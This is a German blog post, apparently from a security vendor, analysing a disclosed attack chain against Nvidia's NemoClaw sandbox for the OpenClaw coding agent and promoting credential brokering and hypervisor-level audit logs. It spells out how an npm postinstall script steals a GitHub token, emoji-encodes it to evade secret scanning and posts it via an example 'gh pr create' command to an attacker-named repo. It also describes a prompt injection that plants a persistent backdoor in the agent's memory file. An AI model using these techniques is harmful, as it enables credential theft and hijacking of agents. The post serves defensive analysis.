Zurück zu allen Beiträgen
Veröffentlicht am · von Renaud Deraison

Die Sandbox, die den Schlüssel verwahrte

Am 18. Mai 2026 hat Lasso Security zwei Angriffe gegen Nvidias NemoClaw veröffentlicht — die Sandbox, in der der autonome Coding-Agent OpenClaw läuft. Die Sandbox arbeitete genau so, wie Nvidia sie beschrieben hatte. Der Agent in der Sandbox schob trotzdem das GitHub-Token des Nutzers an einen vom Angreifer kontrollierten Pull Request, als Emoji codiert, um an GitHubs statischem Secret-Scanner vorbeizurutschen. Die interessante Frage ist nicht, ob die Sandbox kaputt ist. Sie lautet: war eine Sandbox mit einer Klartext-Credential-Datei darin überhaupt jemals eine Sandbox in einem architektonisch nützlichen Sinn — und was bedeutet die Antwort für alle, die 2026 einen Coding-Agent ausliefern.

Zwei Dinge können gleichzeitig wahr sein. Das erste ist, dass Nvidias NemoClaw-Sandbox, die den autonomen Coding-Agent OpenClaw in einem K3s-Cluster innerhalb eines privilegierten Docker-Containers einkapselt, exakt so funktioniert hat, wie Nvidia es dokumentiert hatte. Das zweite ist, dass Lasso Security am 18. Mai eine Veröffentlichung publiziert hat, in der ein bösartiges npm-postinstall-Script — laufend innerhalb dieser Sandbox, mit nichts als dem, was die Sandbox laut Konfiguration erlauben sollte — das GitHub-Token des Nutzers aus einer Klartext-Konfigurationsdatei las, es als Emoji codierte, um GitHubs Secret-Scanner auszuhebeln, und das Ergebnis per gh-Binary, das die Egress-Policy freundlicherweise auf die Allowlist gesetzt hatte, an einen vom Angreifer kontrollierten Pull Request schickte. Nvidia antwortete, das falle aus dem Scope des Bug-Bounty-Programms heraus, mit der Begründung, die Sandbox habe sich exakt so verhalten, wie sie konfiguriert war. Das ist, in einer Variante, die den meisten Security-Leuten vertraut sein dürfte, zugleich korrekt und am Punkt vorbei.

Hier ist die Geschichte in drei Sätzen. Am 18. Mai 2026 hat Lasso Security eine Veröffentlichung über eine Angriffskette gegen NemoClaw publiziert, Nvidias Sandbox für den Betrieb von OpenClaw — einem autonomen Coding-Agent, der wie Claude Code oder der Cursor-Agent oder Codex CLI im Namen des Nutzers npm install, gh pr create und git push ausführen darf. Die Kette hat zwei Hälften: eine Credential-Exfiltrations-Hälfte, in der ein bösartiges Paket /sandbox/.openclaw/openclaw.json las (eine Klartext-Datei, die das GitHub-Token des Nutzers zusammen mit Schlüsseln für Anthropic, OpenAI, Gemini und Nvidia-Dienste enthält), das Token mit Hilfe einer zur Laufzeit aufgebauten Lookup-Tabelle in eine Folge von Emojis umschrieb und die codierte Nutzlast über das allowlistete gh-Binary in einen öffentlichen PR pushte; und eine Persistenz-Hälfte, in der eine in einer ganz normal aussehenden Quelldatei platzierte Prompt-Injection den Agent dazu brachte, seine eigene SOUL.md — OpenClaws Verhaltens-Memory-Datei — mit einer Hintertür zu überschreiben, die jede nachfolgende Session überlebt. BDTechTalks berichtete am selben Tag über die Offenlegung; Nvidias Antwort, zitiert in beiden Veröffentlichungen, lautete, die Sandbox habe sich exakt so verhalten, wie sie konfiguriert war, und die Szenarien fielen aus dem Scope des Programms heraus.

Die Antwort von Nvidia ist in einem engen technischen Sinn richtig. Die Sandbox ist eine Sandbox. Der K3s-Pod ist ein K3s-Pod. Die Egress-Policy, die gh erlaubt, mit github.com zu sprechen, ist eine Policy, die gh erlaubt, mit github.com zu sprechen. Nichts ist aus seinen Capability-Grenzen ausgebrochen. Nichts wurde eskaliert. Der Container ist nicht ausgebrochen. Aus Sicht der Runtime hat jedes Byte, das die Sandbox verließ, sie über ein Binary verlassen, von dem der Nutzer zugestimmt hatte, dass es kommunizieren darf, zu einem Ziel, von dem der Nutzer zugestimmt hatte, dass es erreichbar sein darf.

Nur war das Byte, das die Sandbox verließ, das GitHub-Token des Nutzers, geschrieben mit Cartoon-Gesichtern.

Der langweilige Teil der Kette.

Gehen wir die Credential-Hälfte langsam durch, denn die Mechanik ist das ganze Argument. Der Agent erhält eine Aufgabe — etwas Unauffälliges, „Richte dieses neue Projekt anhand der GitHub-README ein" — und die README enthält irgendwo in ihren Anweisungen einen Schritt, der auf npm install some-helpful-package hinausläuft. Das Paket ist bösartig, aber auf die unauffällige Art, in der mittlerweile hundert npm-Pakete pro Woche bösartig sind: es ist ein Typosquat oder eine transitive Abhängigkeit eines kürzlich kompromittierten Pakets, und es bringt ein postinstall-Script mit. Das postinstall-Script tut drei Dinge, die einzeln erlaubt sind und in Kombination katastrophal.

Es liest /sandbox/.openclaw/openclaw.json. Diese Datei liegt auf dem Sandbox-Dateisystem; das Script läuft innerhalb der Sandbox; niemand hat dem Dateisystem gesagt, dass es nicht lesbar sein soll, denn wie sollte sonst der Agent selbst das GitHub-Token nutzen, wenn er die Datei, in der das GitHub-Token wohnt, nicht lesen kann? Es extrahiert den ghp_…-Wert.

Es lädt eine emoji_map.json, die mit dem bösartigen Paket ausgeliefert wird und jedem alphanumerischen Zeichen ein Emoji zuordnet — eine vollkommen gewöhnliche JSON-Datei, beim statischen Scan völlig harmlos, die Art Datei, die ein Markdown-Formatter oder ein Chat-Client legitim mitliefern könnte. Das Script läuft Zeichen für Zeichen durch das Token und produziert eine Zeichenfolge wie 🍕🍔🌮🍟…, ein Emoji pro Zeichen.

Es führt gh pr create gegen ein vom Angreifer kontrolliertes Repository aus, mit dem Emoji-String als PR-Body. Aus Sicht der Egress-Policy ist das gh, das mit github.com spricht, also genau das einzige, was gh auf der Allowlist tun darf. Der PR wird angelegt. Auf der Angreiferseite liest ein Script den PR-Body, invertiert die Map und rekonstruiert ghp_…. GitHubs Secret-Scanner sieht den PR-Body ebenfalls — aber GitHubs Secret-Scanner sucht nach ghp_[A-Za-z0-9]{36}, nicht nach 🍕🍔🌮🍟.

Der Lasso-Forscher Noy Pearl formuliert es in der Offenlegung unverblümt: „Emoji-Codierung war die Technik, die wir gewählt haben, um GitHubs statische Scans zu umgehen" und „solange der Agent eine Verbindung zur Außenwelt hat, kann kein statischer Mechanismus dich vollständig schützen." Das ist der Teil, an dem man nickt und sagt: ja, offensichtlich, du kannst kein Protokoll auf die Allowlist setzen, das beliebige Bytes tragen kann, und dann überrascht sein, wenn beliebige Bytes hindurchgehen. Eine L7-Allowlist, die gh erlaubt, ist eine L7-Allowlist, die alles erlaubt, was sich in einen PR-Body serialisieren lässt — also alles.

NEMOCLAW-SANDBOX — K3s-Pod in einem privilegierten Docker-Container, Egress-Allowlist für gh → github.comOPENCLAW-AGENT> Projekt einrichten aus README.mdTool: bashnpm i helpful-pkg↳ postinstall läuft innerhalb der SandboxCREDENTIAL-DATEI/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON (vom Paket mitgeliefert)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …statische Scanner: „nur eine JSON-Datei"postinstall: Token durchlaufen, Emoji ausgebenghp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…EGRESS — gh steht für github.com auf der Allowlist, also ist das erlaubt$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"Egress-Policy: gh → github.com ✓GitHub-Secret-Scanner: Regex verfehlt 🍕L7-Filter der Sandbox: nur ein PRPR geöffnet. Body ist öffentlich.ANGREIFER — außerhalb der Sandbox, liest öffentliche PRsWebhook: PR geöffnetBody lesen, emoji_map invertieren🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…Token wiederhergestellt; Sandbox nie ausgebrochenJeder Pfeil in diesem Bild ist von der Sandbox-Konfiguration „erlaubt". Die Lehre ist strukturell, nicht konfigurativ.
Die Lasso-Exfiltrationskette von oben nach unten. Der Agent führt npm install aus. Ein postinstall-Script in der Sandbox liest /sandbox/.openclaw/openclaw.json — eine Datei, die die Sandbox dort abgelegt hat, damit der Agent selbst sich gegenüber GitHub authentifizieren kann — extrahiert das ghp_-Token, schlägt jedes Zeichen in einer emoji_map.json nach, die das bösartige Paket mitgebracht hat (harmlos aussehende JSON, besteht jeden statischen Scan), und gibt eine Emoji-Folge aus. Dann ruft es gh auf — das die L7-Egress-Policy der Sandbox für github.com auf die Allowlist gesetzt hat — und erzeugt einen Pull Request, dessen Body der Emoji-String ist. GitHubs Secret-Scanner sieht den PR; er sucht nach ghp_[A-Za-z0-9]{36}, nicht nach Cartoon-Essen. Auf Angreiferseite liest ein Webhook den PR-Body und invertiert die Map. Das Token ist jetzt öffentlich. Die Sandbox hat exakt das getan, was sie zu tun versprochen hatte.

Die Persistenz-Hälfte — SOUL.md — ist mechanisch anders, aber philosophisch dieselbe. OpenClaw, laut Lassos Veröffentlichung, hält eine Verhaltens-Memory-Datei namens SOUL.md, die der Agent zu Beginn jeder Session liest: Regeln, Systemanweisungen, gesammelter Kontext zu den Vorlieben des Nutzers. Der Agent kann diese Datei auch schreiben, weil die ganze Prämisse langlaufender Memory ist, dass der Agent seine eigenen Überzeugungen aktualisieren können soll. Eine Prompt-Injection, platziert in einer völlig normal wirkenden Quelldatei, die der Agent im Rahmen einer Routineaufgabe verarbeitet — Lassos Beispiel ist eine Textdatei, die einfach Anweisungen enthält, formuliert in derselben Sprache, wie Trainingsdaten formuliert sind — bringt den Agent dazu, eine Backdoor-Regel an SOUL.md anzuhängen. Nachfolgende Sessions laden SOUL.md. Die Hintertür ist jetzt, in der Selbstbeschreibung des Agents, seine Präferenz. Pearls Formulierung gegen Nvidias „verhielt sich wie konfiguriert"-Verteidigung ist die schärfste: „Die Sandbox verhielt sich wie konfiguriert ist ein feines Argument, wenn das, was darin läuft, ein deterministisches Programm ist. Es überlebt den Kontakt mit LLM-getriebenen Agents nicht, deren Verhalten zur Laufzeit von jedem Stück Text geformt wird, das sie aufnehmen."

Ein Token in einer Datei ist ein Token in einer Datei.

Der architektonische Satz, den ich hier hinschreiben möchte, bevor ich darauf eingehe, was Bromure an irgendetwas davon ändert, lautet: ein langlebiges Secret, das als Klartext-Datei innerhalb desselben Blast Radius liegt wie der Code, den der Agent ausführt, ist für jeden Angreifer, der Code in diesem Blast Radius ausführen kann, äquivalent zu einem öffentlichen Secret. Die Sandbox ändert daran nichts. Der K3s-Pod ändert daran nichts. Die Egress-Allowlist ändert daran nichts, denn die Egress-Allowlist darf mit GitHub sprechen — und mit GitHub sprechen ist, per Design, per Nutzerwille, aus dem ganzen Grund, aus dem der Agent überhaupt existiert, derselbe Kanal, den das bösartige Paket nutzen wird.

Es gibt eine gut verstandene Lösung dafür, sie ist Jahrzehnte älter als KI-Agents, und die Security-Branche nutzt sie seit den 1990er-Jahren still und leise. Die Lösung besteht darin, das Secret auf die andere Seite einer Prozessgrenze zu legen und seine Verwendung zu vermitteln, niemals seinen Wert.

Das kanonische Beispiel ist ssh-agent. Dein SSH-Private-Key lebt in einem Speicherbereich, der dem ssh-agent-Prozess gehört. Wenn ssh sich authentifizieren muss, sagt es nicht „gib mir den Schlüssel"; es schickt die Challenge-Bytes über einen Unix-Domain-Socket und bekommt eine Signatur zurück. Der Schlüssel überquert den Socket nie. Ein bösartiges Binary, das unter demselben Nutzer läuft, kann ssh-agent darum bitten, Dinge zu signieren — das ist der ganze Zweck des Agents — aber es kann den Schlüssel nicht lesen, nicht kopieren, nicht exfiltrieren, nicht nach Hause schicken. Wenn die Session endet, stirbt der Schlüssel mit dem Prozess. WebAuthn macht strukturell dasselbe für Browser: der Private Key lebt im TPM oder in der Secure Enclave, die Seite bittet den Browser, eine Challenge zu signieren, die Seite sieht den Schlüssel nie. Die jahrzehntelange Migration der Branche weg von Passwörtern in localStorage ist, wenn man die Augen leicht zusammenkneift, dieselbe Migration, die NemoClaw machen muss. Nur ein Stockwerk höher.

Und es funktioniert auch für GitHub. Die gh-CLI bringt einen Credential-Helper mit, der unter macOS das Token in der Keychain speichern kann statt in einer Klartext-Konfigurationsdatei. Für den Sandbox-Fall noch nützlicher: GitHub Apps geben Installation-Tokens heraus, die kurzlebig sind (typischerweise eine Stunde), auf spezifische Repositories gescopt sind und widerrufbar bleiben; ein Signing-Proxy, der außerhalb der Sandbox läuft, kann auf Anforderung eines dieser Tokens prägen, es an eine vom Agent erzeugte Anfrage anhängen und das Ergebnis weiterreichen. Die Sandbox sieht eine generische HTTP-Antwort. Die Sandbox sieht das Token nicht. Ein bösartiges postinstall-Script, das den brokerten Endpunkt darum bittet, das Token herauszurücken, bekommt im besten Fall ein einstündiges, auf ein Repo gescoptes Token zurück — genug, um das zu erledigen, was der Agent tatsächlich im Namen des Nutzers tun wollte, nicht genug, um sich die Exfiltration zu lohnen.

SANDBOX (Bromure-VM pro Profil) — was das bösartige postinstall-Script sehen kannCODING-AGENT$ gh pr create … → /var/run/cred.sockkein Token in env,kein Token auf DiskDATEISYSTEM & ENV — kein Klartext-Credential/sandbox/.openclaw/openclaw.jsonDatei nicht vorhanden$GH_TOKENnicht gesetzt$GITHUB_TOKENnicht gesetzt/var/run/cred.sockUnix-Socket → Host-BrokerPOSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (leer)PROZESS- / VM-GRENZE — nur RPC, Wert überquert nieHOST — Credential-Broker hält den echten SchlüsselECHTER CREDENTIAL-TRESORmacOS Keychain / ssh-agentid_ed25519 (privat)gh credential helperghp_real_…GitHub App Private Key→ prägt 1h-scoped TokensDasselbe Muster wie ssh-agent (1995).Dasselbe Muster wie WebAuthn (2018).SIGNING-PROXY — nutzt den Schlüssel, gibt ihn nie preislisten /var/run/cred.sock RPC: „signiere diesen git push für Repo X" Installation-Token prägen, scope=X, ttl=1h Authorization-Header beim Egress anhängen HTTPS weiterleiten, Antwort zurückgebenRPC „gib mir das Token" → nicht implementiertRPC: bitte für mich pushen
Was Credential-Brokering an derselben Kette ändert. Die Klartext-openclaw.json ist weg; an ihrer Stelle läuft ein Credential-Broker außerhalb der Sandbox, auf dem Host. Wenn der Agent in der Sandbox einen Commit pushen muss, spricht er über einen Unix-Domain-Socket mit einem host-seitigen Proxy. Der Proxy hält das echte langlebige GitHub-Credential (oder eine GitHub App, die bei Bedarf kurzlebige Installation-Tokens prägt). Der Proxy hängt das Credential an die ausgehende Anfrage, leitet sie weiter und gibt die Antwort an die Sandbox zurück. Das Token gelangt nie in den Speicher oder das Dateisystem der Sandbox. Ein bösartiges postinstall-Script, das das Sandbox-Dateisystem durchsucht, findet kein Token zum Codieren. Ein bösartiges postinstall-Script, das den Broker bittet, etwas zu signieren, bekommt höchstens ein einstündiges, scope-limitiertes Token an das Repo gebunden, für das der Agent ohnehin bereits autorisiert war — dieselbe Haltung, die ssh-agent Unix-Nutzern seit den 1990er-Jahren gibt, nur auf GitHub angewendet.

Das Muster hat in jeder Domäne, die es verwendet, einen Namen — ssh-agent, WebAuthn, HSM-gestütztes Signieren, der Credential-Helper von gh, AWS IAM Roles Anywhere — und die zugrundeliegende Eigenschaft ist immer dieselbe: der Konsument des Credentials ist ein anderer Prozess als der Halter des Credentials, und sie kommunizieren über einen Kanal, der enger ist als „lies die Bytes". Es ist der Unterschied zwischen „der Agent kann sich gegenüber GitHub authentifizieren" und „der Agent kann das GitHub-Token lesen". Eine Sandbox, die das falsch macht, ist eine Sandbox, die den Haustürschlüssel auf dieselbe Seite der Tür gelegt hat wie die Leute, vor denen man sich gesorgt hat.

Genau das macht Bromure, um unmissverständlich zu sein, für die VM pro Profil, in der dein Coding-Agent läuft. Der Agent innerhalb der VM authentifiziert sich gegenüber GitHub, indem er auf dem macOS-Host mit einem Credential-Broker über einen weitergeleiteten Unix-Domain-Socket spricht; das GitHub-Token (oder, besser, der Private Key der GitHub App, der kurzlebige scope-limitierte Tokens prägt) liegt auf der Host-Seite des Hypervisors, in der macOS Keychain, wo die VM ihn nicht sehen kann. Der Agent liest den Secret-Wert nie, er verwendet ihn nur über den Proxy. Ein postinstall-Script, das cat /sandbox/.openclaw/openclaw.json ausführt, findet nichts; eines, das env | grep TOKEN ausführt, findet nichts; eines, das den Broker bittet „bitte gib mir das Token", findet heraus, dass das RPC-Vokabular des Brokers dieses Verb nicht kennt. Dieselbe Haltung, angewandt auf den GitHub-Agent so, wie sie seit dreißig Jahren auf SSH angewandt wird.

Eine höfliche Empfehlung ist kein Perimeter.

Lassos Emoji-Trick ist, in einem tiefen Sinn, ein Kommentar zu Allowlists. Die Egress-Policy erlaubte gh, mit github.com zu sprechen. Die implizite Annahme war, dass das, was gh mit github.com tun würde, das wäre, was ein vernünftiger Entwickler tun möchte — clone, push, PRs öffnen, Issues kommentieren. Aber gh pr create --body "$ANYTHING" ist konstruktionsbedingt ein Primitive, das beliebige Bytes an ein öffentlich lesbares Ziel trägt. Man kann dieses Primitive nicht auf die Allowlist setzen und gleichzeitig verhindern, dass beliebige Bytes hindurchgehen. Die Allowlist tut, was sie versprochen hat. Sie tut nur nicht das, was du dachtest, was sie versprochen hatte.

Das ist der Teil der Lasso-Veröffentlichung, der jeden, der einen Agent in Produktion betreibt, dazu bringen sollte, sich hinzusetzen. Eine L7-Allowlist, die ein Protokoll zulässt, das beliebige Bytes tragen kann, ist kein Perimeter. Sie ist eine höfliche Empfehlung, dass die Bytes im Protokoll die Bytes sein mögen, die du dir vorgestellt hast. Ob die Bytes im PR-Body, in einer Commit-Message, in einem Issue-Kommentar, in einem git-LFS-Blob, in den Metadaten eines als Release-Asset hochgeladenen Tarballs liegen — das Protokoll ist das Leck. Es gibt keinen statischen Filter, der den Unterschied zwischen einem legitimen emoji-lastigen PR („unser Team nutzt 🍰, um Release zu meinen") und einem emoji-codierten GitHub-Token „versteht", denn der Unterschied ist semantisch und der Filter ist syntaktisch.

Was würde das also erkennen? Die ehrliche Antwort ist, dass kein einzelner Trick es tut; die Struktur, die es tut, ist eine Kombination, und jedes einzelne Stück ist für sich genommen uninteressant.

Das erste Stück sind Egress-Byte-Budgets pro Session. Eine Session, deren Auftrag „behebe einen Typo in der README.md" lautet, sollte niemals 14 Kilobyte binären Blob in einen PR-Body schieben, niemals, aus keinem Grund. Du musst nicht wissen, was die Bytes sind; du musst wissen, was die Session ausliefern sollte. Die Diskrepanz zwischen Auftragsform und Egress ist berechenbar — aber nur, wenn etwas außerhalb des Agents Auftrag und Egress am selben Ort führt. Die Selbstauskunft des Agents reicht nicht; der Agent ist das, was unter Verdacht steht.

Das zweite ist Content-Shape-Anomalieerkennung auf ausgehenden git-Operationen. Ein PR, dessen Body zu 95 % aus Emoji besteht, oder zu 95 % aus Base64, oder zu 95 % aus Hex, in einem Repository, dessen Historie null solcher PRs enthält, ist eine Flagge. Es ist kein Beweis; es ist eine Flagge. Der richtige Ort, diese Flagge zu berechnen, ist der Egress-Proxy, der die ausgehende Anfrage sieht, bevor sie den Host verlässt. Bromures Proxy auf Hypervisor-Ebene ist der Ort, an dem das ohne Vertrauen in den Gast berechnet werden kann — denn der Gast ist genau das, was unter Verdacht steht.

Das dritte sind Session-Ende-Diffs zwischen dem, was die Box verlassen hat, und dem, was die Session produzieren sollte. Am Ende einer Session hat die VM eine Menge ausgehender HTTP-Requests produziert, eine Menge Datei-Writes ins gemountete Projekt, eine Menge git-Commits. Wenn der Session-Auftrag „behebe einen Typo" lautete und die ausgehenden Requests POST /repos/attacker-handle/random-repo/pulls enthalten, ist das ein Diff, das man einem Menschen in zwei Zeilen zeigen kann. Nicht notwendigerweise blockiert — manchmal müssen Agents wirklich überraschende Dinge tun — aber gezeigt. Der aktuelle Default 2026 quer durch die meisten Coding-Agent-Produkte ist „vertrau mir, hat geklappt", und der Nutzer hat kein Artefakt zur Inspektion, selbst wenn er es wollte.

Die Audit-Pipeline ist das Artefakt.

Hier ist der Punkt, an dem es sich lohnt, laut auszusprechen, was Bromure Enterprise tatsächlich liefert — weil die Alternative, nämlich sich auf die eigenen Logs des Agents zu verlassen, NemoClaw überhaupt erst in diese Lage gebracht hat. Die Logs des Agents werden vom Agent geschrieben. Wenn dem Agent von einer vergifteten SOUL.md gesagt wurde zu lügen, was er getan hat, dann werden die Logs des Agents darüber lügen, was er getan hat. Es gibt genau einen Ort, der einen wahrheitsgetreuen Bericht über das, was ein Agent getan hat, produzieren kann, und das ist die Ebene unterhalb des Agents.

Bromure Enterprise zeichnet auf der Host-Seite des Hypervisors „die volle Session — Tool-Aufrufe, Shell-Kommandos, Datei-Edits, Exit-Codes" als JSON Lines auf. Tracing ist standardmäßig an; Engineers müssen sich nicht aktiv einschreiben; der Agent in der VM ist ein unverändertes Claude Code oder Codex oder Cursor. Der Stream wird „außerhalb der VM in einem manipulationsresistenten JSON-Lines-Stream erfasst und an die Log-Senke geliefert, die du ohnehin schon befüllst (SIEM, Data Lake, Retention-Archiv)." Eine kompromittierte Abhängigkeit innerhalb der VM kann ihn nicht löschen, weil die Writes auf der anderen Seite der Hypervisor-Grenze geschehen, die die Abhängigkeit nicht überqueren kann.

Die interessanten Konsequenzen:

  • „Hat diese Session in ein Repo gepusht, das nicht das Repo des Nutzers war" ist ein grep. Kein metaphorisches grep. Ein buchstäbliches grep gegen die JSON Lines von gestern.
  • „Hat diese Session einen PR mit einem Body geöffnet, der nicht wie Prosa aussieht" ist ein Regex gegen die erfasste Tool-Call-Nutzlast.
  • „Hat irgendetwas SOUL.md modifiziert" ist eine Abfrage über Datei-Edit-Events. Wenn ein postinstall-Script die Identitätsdatei des Agents überschrieben hat, lebt dieser Fakt im Trace, ob der Agent selbst es jemals erwähnt hat oder nicht.
  • Replay. Traces hängen an einem Pull Request. Der Reviewer liest den Diff und die Sequenz aus Prompts, Tool-Aufrufen und Shell-Kommandos, die den Diff erzeugt haben. Oder, in der Sprache der Bromure-Produktseite: „replay the day the model decided to delete the migrations folder." Forensisches Replay ist der Teil dieser Geschichte, den es sonst nirgends gibt, weil es voraussetzt, dass die Inputs, die Outputs und die Modell-Antworten in demselben Stream erfasst wurden — was der Agent selbst nicht produzieren kann, ohne zuerst dafür Vertrauen geliehen zu bekommen, nicht zu lügen.

Nichts davon erwischt einen entschlossenen Angreifer, der die Exfiltration so formt, dass sie wie Prosa aussieht; es gibt keinen Perimeter gegen einen Gegner, der bereit ist, Bytes für die Tarnung auszugeben. Was es erwischt, ist jeden Angreifer, der das nicht tut, also die meisten, und es produziert die forensische Aufzeichnung, die den nächsten Vorfall aus „wir haben keine Ahnung, was der Agent getan hat" in „wir haben Zeile 14.332 des gestrigen Session-Traces" verwandelt. Der 2026er-Default „der Agent hat gesagt, es war erfolgreich" entspricht dem Betreiben von Produktion auf einem Server ohne Logs.

Was ist mit der Prompt-Injection innerhalb der Session?

Es lohnt sich, klar zu sagen, was VM-Isolation nicht behebt — denn die Menschen, die diesen Post am ehesten lesen, sind dieselben, denen am ehesten von jemandem, der das Gegenprodukt verkauft, gesagt wird, VMs seien ein Allheilmittel. Sind sie nicht.

Die SOUL.md-Backdoor — und jede Prompt-Injection, die während einer Session wirkt — läuft innerhalb der VM, mit dem Scope, den der Nutzer dem Agent gewährt hat. Wenn der Nutzer dem Agent gesagt hat „erstelle einen PR in diesem Repo", kann die Prompt-Injection einen PR in diesem Repo erstellen. Wenn der Agent Schreibzugriff auf den Projektordner hat, kann die Prompt-Injection eine Hintertür in den Projektordner schreiben. Die VM begutachtet den Diff nicht. Was die VM tut, ist, den Diff und seine Herkunft an einem Ort zu behalten, an dem ihn jemand später anschauen kann — und das stellt sich als der Teil heraus, der gefehlt hat.

Was VM-Isolation plus Credential-Brokering behebt, ist der katastrophale Teil — der Teil, in dem ein einziges schlechtes postinstall mit einem dauerhaften GitHub-Token, einem dauerhaften npm-Token, deinen AWS-Credentials und Root auf dem Laptop des Entwicklers davonspaziert. Keines dieser Credentials lebt innerhalb der VM; die Credentials leben in der Host-Keychain und sind nur über einen Proxy erreichbar, dessen RPC-Vokabular „gib mir die Bytes" nicht kennt. Ein Token, das der Agent über einen Proxy nutzen kann, ist ein Token, das der Agent nicht exfiltrieren kann — denn Exfiltration setzt voraus, die Bytes zum Versenden zu haben.

Die verbleibende Angreifer-Fähigkeit innerhalb eines Bromure-gehosteten OpenClaw-Äquivalents — das, was sie tun können, sobald sie den Agent prompt-injektiert haben — ist, den Agent innerhalb des autorisierten Scopes der Session dazu zu bringen, etwas zu tun, was der Nutzer nicht beabsichtigt hat. Einen PR mit einem seltsamen Titel öffnen. SOUL.md im Projekt überschreiben. Ein eigenes postinstall hinzufügen. All das sind beobachtbare Ereignisse: jeder Datei-Edit landet im JSON-Lines-Audit-Stream, jede ausgehende Anfrage landet im Egress-Proxy, jeder Prompt und jeder Tool-Aufruf wird außerhalb des Agents aufgezeichnet. Die VM wird nicht darum gebeten, den prompt-injektierten Agent daran zu hindern, in-scope Schaden zu verursachen — sie wird darum gebeten, diesen Schaden sichtbar zu machen und auf die Session zu begrenzen, sodass der Host sauber bleibt und der Nutzer einen Trace zum Nachlesen hat. Persistenz innerhalb der VM ist weiter möglich; Persistenz innerhalb der VM, die niemand sehen kann, ist es nicht — ein bedeutsamer Unterschied.

In Kombination mit Credential-Brokering sieht der Worst Case für den Angriff auf einen Bromure-gehosteten Agent so aus: der Agent liefert einen schlechten PR, in dem Repo, für das er ohnehin autorisiert war, mit einem kurzlebigen Installation-Token, und jeder Schritt erscheint in einem manipulationsresistenten Log auf dem Host. Das ist nicht null Schaden. Es ist ein langer Weg entfernt von „der Angreifer hat mein dauerhaftes GitHub-Token, als Emoji exfiltriert, plus eine persistente Hintertür in der Verhaltensdatei des Agents, plus keinerlei Aufzeichnung, dass irgendetwas davon passiert ist."

Was hier wirklich strukturell ist.

Wenn man die Lasso-Veröffentlichung und die Nvidia-Antwort nacheinander liest, geht die Meinungsverschiedenheit nicht eigentlich darum, ob NemoClaw einen CVE-würdigen Bug hat. Nvidia hat recht, dass die Sandbox das getan hat, wofür sie konfiguriert war. Lasso hat recht, dass das, wofür sie konfiguriert war, nicht ausreicht. Die Meinungsverschiedenheit dreht sich darum, wohin die Vertrauensgrenze gehört.

Nvidia zieht die Grenze, in der Antwort, die Pearl zitiert, an „der konfigurierten Policy". Innerhalb der Policy geht alles; außerhalb der Policy ist der Kunde auf sich gestellt. Das ist eine normale Shared-Responsibility-Position für einen Infrastruktur-Anbieter. Sie ist aber keine Verteidigung gegen den Fehlermodus, den Lasso vorgeführt hat — denn der Fehlermodus liegt innerhalb der Policy. Die Policy erlaubt gh. gh kann das Token tragen. Die Policy ist in sich konsistent und gleichzeitig unzureichend.

Die strukturelle Alternative — die Position, für die die Agentic-Coding-Beiträge auf diesem Blog seit sechs Monaten in verschiedener Sprache argumentieren — ist, die Grenze beim Credential und bei der Beobachtung zu ziehen, nicht beim Binary und beim Ziel. Brokering sagt: das Credential betritt die Sandbox nie. Die Audit-Pipeline auf Hypervisor-Ebene sagt: was immer der Agent innerhalb der Sandbox tut, wird von etwas erfasst, in das der Agent nicht schreiben und das er nicht abschalten kann. Zusammen erzeugen sie eine Sandbox, in der das Schlimmste, was ein bösartiges postinstall anrichten kann, das Schlimmste ist, wozu der Agent autorisiert war, auf dem Repo, das er ohnehin schon angefasst hat, mit Credentials, die er nicht exfiltrieren kann, weil er sie nie hatte — und mit jedem Tastendruck an Beweisen, die in deinem SIEM liegen.

Die Nvidia-Leute liegen nicht falsch. Die OpenClaw-Architektur ist die Architektur jedes Coding-Agents, der dieses Jahr ausgeliefert wird, und das schließt Coding-Agents ein, die nicht in einer Sandbox laufen. Was Lasso in NemoClaw gefunden hat, ist strukturell das, was Wiz und Snyk und Socket alle paar Tage in Cursor und Windsurf und im YOLO-Modus von GitHub Copilot finden. Die Problemklasse ist „langlebige Klartext-Credentials, zugänglich für alles, was der Agent ausführt, ohne Aufzeichnung dessen, was der Agent damit gemacht hat", und die Fix-Klasse ist „brokere das Credential, beobachte die Session, hebe die Belege auf".

Ein letztes Wort.

Es gibt eine Variante dieses Posts, in der die Lehre „vertrau keinen Sandboxes" wäre. Diese Variante ist falsch. Sandboxes sind großartig. Es gibt eine Variante, in der die Lehre „KI-Agents sind zu gefährlich, um sie auszuliefern" wäre. Diese Variante ist, in der Praxis, irrelevant — sie sind ausgeliefert, die Frage ist wie. Die Variante, die hält, ist die, in der die Sandbox aufhört, gebeten zu werden, Arbeit zu leisten, die die Sandbox konstruktionsbedingt nicht leisten kann.

Eine Sandbox kann ein Credential nicht vor einem Prozess verbergen, der innerhalb der Sandbox läuft. Eine Sandbox kann den Unterschied zwischen einem Emoji-PR-Body und einem emoji-codierten Token nicht erkennen. Eine Sandbox kann ein langes allowlistetes Protokoll nicht in ein kurzes verwandeln. Was eine Sandbox kann, ist, die Credentials woanders aufzubewahren, den Agent an einem Ort zu halten, an dem der Hypervisor jede seiner Bewegungen sieht, und diesen Bericht in eine Senke zu schreiben, die der Agent nicht erreichen kann. Das ist die Konfiguration, in der dasselbe bösartige npm-Paket, in derselben Art postinstall-Script, ein leeres Dateisystem vorfindet, einen Credential-Socket, dessen einziges Verb „signiere mir kurz dieses Ding" ist, und einen Hypervisor auf der anderen Seite der Wand, der das ganze Gespräch mitgeschrieben hat.

Bromure Agentic Coding ist die Konfiguration, in der das der Default ist. Es ist kostenlos, Open Source und wird heute ausgeliefert. Das nächste Emoji wird gerade hochgeladen.